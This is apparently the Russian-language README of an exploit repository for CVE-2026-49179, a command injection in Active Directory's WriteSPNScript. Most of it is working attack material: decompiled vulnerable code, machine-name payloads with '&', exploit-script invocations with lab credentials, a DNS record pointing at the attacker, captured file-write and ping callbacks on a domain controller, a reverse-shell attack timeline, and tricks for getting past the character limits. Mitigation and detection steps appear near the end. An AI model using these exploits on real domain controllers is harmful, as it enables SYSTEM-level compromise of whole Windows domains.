
Эксплойт-скрипты и proof-of-concept для CVE-2026-49179 — инъекции команд в функции WriteSPNScript Active Directory, позволяющей выполнить RCE с правами SYSTEM на контроллерах домена.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Инъекция команд) |
| Уязвимый компонент | ntdsai.dll — функция WriteSPNScript |
| Уязвимые системы | Windows Server 2016, 2019, 2022, 2025 (до установки патча) |
| Вектор атаки | Аутентифицированный пользователь домена (любой) |
| Воздействие | Удалённое выполнение кода с правами SYSTEM на контроллере домена |
| Опубликовано | Август 2026 |
Функция WriteSPNScript в ntdsai.dll генерирует команды пакетного скрипта для исправления SPN (Service Principal Name) во время операций обслуживания Active Directory. Функция использует строку формата для построения команд repadmin.exe /writespn, но не выполняет очистку параметра Distinguished Name (DN), что позволяет осуществить инъекцию команд через символ & (разделитель команд cmd.exe).
Уязвимая строка формата:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Параметры: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN формируется из Common Name (CN) учётной записи компьютера, который задаётся при создании учётной записи. Когда учётная запись компьютера создаётся с метасимволами оболочки в имени, эти символы без экранирования попадают в генерируемый скрипт. Когда cmd.exe выполняет скрипт, & действует как разделитель команд, выполняя контролируемые злоумышленником команды с правами SYSTEM.
Active Directory имеет два основных протокола для управления учётными записями компьютеров:
Эта асимметрия валидации является первопричиной:
sAMAccountName, который становится CN и попадает в DNWriteSPNScript без очисткиПо адресу 0x1802a98a0 в непатченном бинарном файле:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA форматирует DN непосредственно в выходной буфер. Без экранирования, без заключения в кавычки, без очистки.
Для компьютера с CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe интерпретирует это как пять отдельных инструкций:
Инъецированная команда появляется дважды — один раз из параметра DN и один раз из параметра SPN (который также содержит имя компьютера).
Патченная WriteSPNScript (размер: 1477 → 2005 байт) вносит три изменения:
Две новые функции очистки, применяемые к обоим параметрам DN и SPN:
EscapeForPowerShellSingleQuote() — экранирует ' для предотвращения выхода из строк в одинарных кавычкахEscapeForNativeArgvBackslashesBeforeDoubleQuote() — экранирует последовательности \ перед " для нативного разбора argvВ более ранней ревизии был флаг функции Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, управляющий исправлением. В финальном патче этот флаг был удалён — исправление всегда активно и не может быть отключено.
С помощью spn_probe3.py протестировано, какие символы SAMR принимает в именах учётных записей компьютеров, а какие LDAP принимает в значениях SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Ключевая находка: SAMR допускает все 8 протестированных метасимволов оболочки. LDAP блокирует их все. Вектор инъекции — через имена компьютеров, созданные через SAMR, а не через значения SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Также создано от имени samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Подтверждено: обычный пользователь домена (PR:L) может создавать учётные записи компьютеров с инъекцией команд & в имени.
Обычные пользователи домена могут добавлять записи ADIDNS. Использован dnstool.py для создания короткого имени хоста, указывающего на атакующего:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Проверено разрешение на контроллере домена:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Симуляция точного вывода, который сгенерировала бы WriteSPNScript, выполненная на контроллере домена:
Доказательство записи в файл:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
Доказательство ICMP-обратного вызова:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
tcpdump на атакующем подтвердил поступление ICMP:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
Как запись в файл, так и ICMP-обратный вызов подтверждают инъекцию команд через DN.
sAMAccountName учётной записи компьютера ограничен примерно 15 символами до завершающего $ (ограничение совместимости с NetBIOS). Это серьёзно ограничивает сложность полезной нагрузки.
Воздействие: Невозможно встроить IP-адреса, длинные команды или сложные полезные нагрузки непосредственно в имя компьютера.
Обходной путь: Использовать короткие DNS-имена хостов для обратных вызовов (например, односимвольное a, разрешающееся в IP атакующего). Полезные нагрузки должны быть краткими:
A&ping a&B (11 символов) — ICMP-обратный вызовA&echo X&B (11 символов) — доказательство выполненияA&calc&B (8 символов) — GUI-доказательство на контроллере доменаA&whoami&B (11 символов) — подтверждение контекстаХотя SAMR принимает метасимволы оболочки (& ' \ $ ( ) ! пробел`), он отклоняет символы, необходимые для путей к файлам и сетевых адресов:
Воздействие: Невозможно использовать IP-адреса, пути к файлам или URL непосредственно в полезных нагрузках.
Обходной путь:
%TEMP%, %SYSTEMROOT%) — хотя принятие % не подтвержденоWriteSPNScript генерирует файл скрипта через WriteFile — он не выполняет команды напрямую. Сгенерированный скрипт должен быть выполнен последующим процессом. Функция вызывается во время:
dcdiag /fix — администратор запускает инструмент диагностики/восстановленияFixupSPNsOnComputerObject — исправление SPN при изменении атрибутовВоздействие: Инъекция подготавливается немедленно (создание компьютера), но выполнение зависит от события-триггера на контроллере домена. В среде с одним контроллером домена без партнёра по репликации триггер может потребовать активности администратора (например, запуска dcdiag /fix).
В производственных средах: Развёртывания с несколькими контроллерами домена имеют регулярные циклы репликации. Несоответствия SPN, обнаруженные во время репликации, автоматически запустят WriteSPNScript в рамках разрешения конфликтов.
По умолчанию ms-DS-MachineAccountQuota составляет 10 на пользователя. Каждая попытка инъекции расходует один слот. Учётные записи компьютеров со специальными символами в именах сложно удалить стандартными инструментами.
Воздействие: Ограниченное количество попыток на учётную запись пользователя. Неудачные попытки расходуют квоту.
Обходной путь: Каждый пользователь домена получает свою квоту. В средах с множеством пользователей злоумышленник может использовать несколько учётных записей.
Учётные записи компьютеров, созданные с &, $, (, ) в именах, не могут быть легко удалены через стандартные инструменты управления AD (ADUC, PowerShell Remove-ADComputer), поскольку специальные символы мешают разбору команд. Это оставляет криминалистические артефакты.
Альтернативный путь эксплуатации — создать компьютер с чистым именем, установить допустимые SPN, затем переименовать для инъекции DN — был протестирован, но операция LDAP ModifyDN (переименование) требует повышенных привилегий:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
Воздействие: Стратегия переименования нежизнеспособна для PR:L. Прямое создание через SAMR с инъекционными символами — это путь для PR:L.
&<команда>& в имени через SAMRWriteSPNScript, которая генерирует неэкранированную команду repadmin.exeДень 1: Злоумышленник (любой пользователь домена) запускает эксплойт
- Создаёт компьютер "A&ping a&B$" через SAMR
- Добавляет DNS-запись "a", указывающую на его C2-сервер
- Инъекция подготовлена — злоумышленник ждёт
День N: Администратор запускает dcdiag /fix (рутинное обслуживание)
- WriteSPNScript обрабатывает вредоносную учётную запись компьютера
- Генерирует команду repadmin с неэкранированным DN
- cmd.exe выполняет "ping a" с правами SYSTEM → подтверждает обратный вызов
День N: Злоумышленник обновляет полезную нагрузку
- Создаёт новый компьютер с полезной нагрузкой обратной оболочки
- Ждёт следующего цикла обслуживания или события репликации
- Оболочка SYSTEM на контроллере домена → полная компрометация домена
Примените обновление безопасности из августовского Patch Tuesday Microsoft 2026 года
Проведите аудит учётных записей компьютеров на наличие необычных символов:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
Установите ms-DS-MachineAccountQuota в 0, чтобы запретить обычным пользователям создавать учётные записи компьютеров:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
Отслеживайте Event ID 4741 (создание учётной записи компьютера) на наличие необычных символов в именах учётных записей
Ограничьте создание записей ADIDNS, если они не нужны обычным пользователям
| Протокол | Валидация символов | Метасимволы оболочки |
|---|
| LDAP (значения SPN) | Строгая — CONSTRAINT_ATT_TYPE отклоняет & ; | ' \ $ ( )` | Блокируются |
| SAMR (имена компьютеров) | Слабая — проверяет базовый формат имени учётной записи | Разрешены: & ' \ $ ( ) ! пробел` |
| # | Инструкция | Результат |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Ошибка (усечённый DN) |
| 2 | ping attacker | ИНЪЕКЦИЯ — выполняется с правами SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Ошибка (не является допустимой командой) |
| 4 | ping attacker | ИНЪЕКЦИЯ — выполняется снова (из параметра SPN) |
| 5 | B | Ошибка (не является допустимой командой) |
| Базовая (уязвимая) | Патченная |
|---|
| Функция | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Заключение в кавычки | Отсутствует | Параметры в одинарных кавычках |
| Вывод | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| Хост | Роль | IP | ОС |
|---|
| WINTERFELL | Контроллер домена | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Домен | north.sevenkingdoms.local | ||
| Пользователь с низкими привилегиями | samwell.tarly / Heartsbane | Обычный пользователь домена | |
| Администратор | robb.stark / sexywolfy | Администратор домена |
| Шаг | Действие | Субъект | Результат |
|---|
| 1 | SAMR принимает & в именах компьютеров | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP отклоняет & в значениях SPN | samwell.tarly | 100% отклонение |
| 3 | Создание DNS-записи для обратного вызова | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | Учётная запись компьютера с инъекционным CN | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | Запись в файл через инъекцию cmd | DC (симуляция WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | ICMP-обратный вызов через инъекцию cmd | DC (симуляция WriteSPNScript) | Получено 3 ping-ответа |
| Отклонено | Заблокированный вариант использования |
|---|
. (точка) | IP-адреса (192.168.1.1), FQDN |
\ (обратный слэш) | Пути Windows (C:\Windows\...) |
/ (прямой слэш) | Пути URL, пути Unix |
: (двоеточие) | Буквы дисков (C:), номера портов |
" (двойная кавычка) | Заключение в кавычки/экранирование в полезных нагрузках |
< > | ; , = + * ? | Перенаправление, конвейеры, подстановочные знаки |
| Файл | Описание |
|---|
poc/spn_probe.py | Тестирует все 28 метасимволов оболочки в значениях SPN LDAP |
poc/spn_probe2.py | Тестирует обход через Unicode fullwidth/гомоглифы + транспорт DRSUAPI |
poc/spn_probe3.py | Тестирует принятие символов SAMR vs LDAP vs DRSUAPI |
poc/spn_exploit.py | Эксплойт через стратегию переименования (создание → SPN → переименование → инъекция) |
poc/spn_prl_exploit.py | Эксплойт PR:L (прямое создание через SAMR + опциональный триггер dNSHostName) |
nspi_diff_analysis.txt | Полный бинарный diff ntdsai.dll (базовая vs патченная) |